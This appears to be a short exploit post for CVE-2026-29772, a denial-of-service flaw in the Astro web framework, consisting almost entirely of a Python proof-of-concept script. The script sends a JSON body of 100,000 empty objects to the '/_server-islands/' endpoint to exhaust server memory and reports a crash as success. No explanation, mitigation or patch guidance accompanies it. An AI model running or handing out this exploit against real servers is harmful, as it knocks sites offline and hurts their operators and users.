CVE-2026-29772 Astro拒绝服务漏洞

import requests import json def exploit(url): # Create a massive list of empty objects to trigger memory amplification # Adjust the count (e.g., 100000) based on the server's memory limit payload = [{}] * 100000 data = json.dumps(payload) # The vulnerable endpoint is usually /_server-islands/[name] target = f"{url.rstrip('/')}/_server-islands/test" headers = { "Content-Type": "application/json" } try: print(f"Sending payload of size: {len(data)} bytes to {target}") response = requests.post(target, data=data, headers=headers, timeout=10) print(f"Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"Attack successful (Server likely crashed): {e}") if __name__ == "__main__": target_url = "http://localhost:3000" exploit(target_url)